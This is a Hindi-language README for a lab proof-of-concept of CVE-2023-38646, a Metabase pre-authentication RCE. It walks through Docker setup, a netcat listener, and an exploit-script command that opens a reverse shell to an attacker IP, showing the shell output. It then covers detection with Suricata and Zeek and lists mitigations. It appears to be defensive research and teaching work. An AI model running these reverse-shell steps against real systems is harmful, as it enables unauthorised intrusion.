
CVE-2023-38646
यह भंडार एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) सुरक्षा अनुसंधान परियोजना का दस्तावेजीकरण करता है जो CVE-2023-38646 का विश्लेषण करता है, जो Metabase के कमजोर संस्करणों को प्रभावित करने वाली एक महत्वपूर्ण प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन (RCE) कमजोरी है।
इस परियोजना का उद्देश्य वास्तविक दुनिया की कमजोरी के पूर्ण जीवनचक्र को प्रदर्शित करना है, जिसमें शामिल हैं:
यह भंडार निम्नलिखित में व्यावहारिक कौशल प्रदर्शित करने के लिए डिज़ाइन किया गया है:
CVE-2023-38646 एक महत्वपूर्ण कमजोरी है जो Metabase के कुछ संस्करणों को प्रभावित करती है, जो एक ओपन-सोर्स व्यावसायिक खुफिया और विश्लेषण मंच है।
यह कमजोरी एक हमलावर को एप्लिकेशन की सेटअप या कॉन्फ़िगरेशन प्रक्रिया में कमजोरियों का शोषण करके अप्रमाणित रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है।
मुख्य विवरण:
सफल शोषण एक हमलावर को सक्षम बनाता है:
आधिकारिक संदर्भ:
यह परियोजना आक्रामक सुरक्षा उपकरणों और रक्षात्मक निगरानी उपकरणों दोनों को जोड़ती है।
प्लेसहोल्डर — अपने प्रयोगशाला सेटअप का वर्णन करें
उदाहरण:
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]
यह आरेख इस परियोजना में उपयोग किए गए उच्च-स्तरीय हमले के प्रवाह को दर्शाता है।
Docker स्थापना और सेटअप:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Docker प्रारंभ:
Docker का उपयोग करके एक कमजोर Metabase Enterprise इंस्टेंस (v1.44.0) तैनात किया गया था।
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
यह पोर्ट 3000 पर Metabase वेब इंटरफ़ेस को उजागर करता है, सेटअप पृष्ठ तक पहुंच की अनुमति देता है।
यदि Docker पहले से चल रहा है, तो फिर से शुरू करने के लिए निम्नलिखित कमांड लाइन निष्पादित करें:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
'Docker सेटअप' प्लेसहोल्डर
एक बार कंटेनर चलने के बाद, Metabase इंटरफ़ेस ब्राउज़र के माध्यम से सुलभ हो जाता है।
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
सेटअप पृष्ठ पुष्टि करता है कि Metabase इंस्टेंस सक्रिय है और कॉन्फ़िगरेशन के लिए तैयार है।
BurpSuite
स्क्रीनशॉट या स्पष्टीकरण के लिए प्लेसहोल्डर
शोषण लॉन्च करने से पहले, रिवर्स शेल कनेक्शन प्राप्त करने के लिए हमलावर मशीन पर एक Netcat लिसनर शुरू किया जाता है।
nc -lvnp 6666
यह लिसनर शोषित Metabase सर्वर से आने वाले कनेक्शनों की प्रतीक्षा करता है।
स्क्रीनशॉट या स्पष्टीकरण के लिए प्लेसहोल्डर
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
पेलोड एक कमांड निष्पादित करता है जो हमलावर मशीन पर वापस रिवर्स शेल स्थापित करता है।
Netcat लिसनर कनेक्शन प्राप्त करता है, हमलावर को सिस्टम तक शेल पहुंच प्रदान करता है।
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
पीड़ित के डिवाइस से कनेक्शन की पुष्टि के लिए:
whoami
आउटपुट:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
यह परियोजना यह भी प्रदर्शित करती है कि नेटवर्क निगरानी उपकरणों का उपयोग करके शोषण गतिविधि का पता कैसे लगाया जा सकता है।
Suricata (IDS) का उपयोग शोषण से जुड़े संदिग्ध पैटर्न के लिए नेटवर्क ट्रैफ़िक की निगरानी के लिए किया गया था।
sudo suricata -i eth0
प्लेसहोल्डर: Suricata अलर्ट स्क्रीनशॉट डालें
evidence/detection/suricata_alert.png
वास्तविक समय में अलर्ट देखने के लिए, Suricata लॉग्स का उपयोग करके निगरानी की गई:
tail -f /var/log/suricata/fast.log
प्लेसहोल्डर: Suricata लॉग स्क्रीनशॉट डालें
evidence/detection/suricata_log.png
एक निष्क्रिय दृष्टिकोण के लिए, जब भी Suricata संदिग्ध ट्रैफ़िक का पता लगाता है, डेस्कटॉप अलर्ट उत्पन्न करने के लिए एक कस्टम सूचना स्क्रिप्ट का उपयोग किया गया था।
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
जब शोषण निष्पादित किया गया, तो Suricata ने Metabase शोषण प्रयास से जुड़ी संदिग्ध गतिविधि का संकेत देने वाले अलर्ट उत्पन्न किए।
प्लेसहोल्डर: Suricata लॉग स्क्रीनशॉट डालें
evidence/detection/suricata_noti.png
उदाहरण:
प्लेसहोल्डर: Suricata लॉग स्क्रीनशॉट डालें
evidence/detection/suricata_noti.png
IDS निगरानी के अलावा, नेटवर्क ट्रैफ़िक का विश्लेषण करने और विसंगतिपूर्ण व्यवहार की पहचान करने के लिए Zeek का उपयोग किया गया था।
नेटवर्क ट्रैफ़िक को कैप्चर और विश्लेषण करना शुरू करने के लिए Zeek को इन कमांड्स का उपयोग करके शुरू किया जाता है:
sudo /usr/local/zeek/bin/zeek -i eth0
प्लेसहोल्डर: Zeek आरंभिक स्क्रीनशॉट डालें
evidence/detection/zeek.png
कनेक्शन लॉग्स का निरीक्षण करके, पोर्ट 6666 पर रिवर्स शेल ट्रैफ़िक देखा जा सकता है।
192.168.1.136 → 192.168.1.137:6666
प्लेसहोल्डर: Zeek लॉग स्क्रीनशॉट डालें
evidence/detection/zeek_log.png
कई शमन रणनीतियाँ शोषण के जोखिम को कम कर सकती हैं।
| रणनीति | विवरण |
|---|---|
| पैच प्रबंधन | Metabase को एक ऐसे संस्करण में अपग्रेड करें जो CVE-2023-38646 को पैच करता है |
| वेब एप्लिकेशन फ़ायरवॉल (ModSecurity) | दुर्भावनापूर्ण HTTP अनुरोधों को फ़िल्टर करें |
| होस्ट घुसपैठ का पता लगाना (OSSEC) | संदिग्ध सिस्टम व्यवहार की निगरानी करें |
| नेटवर्क निगरानी (Suricata & Zeek) | असामान्य ट्रैफ़िक पैटर्न का पता लगाएं |